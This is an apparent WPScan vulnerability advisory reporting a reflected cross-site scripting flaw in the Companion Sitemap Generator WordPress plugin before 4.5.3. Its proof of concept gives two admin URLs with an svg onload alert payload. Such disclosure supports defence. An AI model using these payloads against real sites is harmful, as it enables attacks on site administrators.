WordPress Plugin Vulnerabilities

Companion Sitemap Generator < 4.5.3 - Reflected XSS

Description

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Proof of Concept

Make a logged-in admin open:

https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=<svg/onload=alert(/XSS/)>

https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=exclusion&subtabt=<svg/onload=alert(/XSS/)>

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-06-19 (about 10 months ago)
Added
2023-06-19 (about 10 months ago)
Last Updated
2023-06-19 (about 10 months ago)

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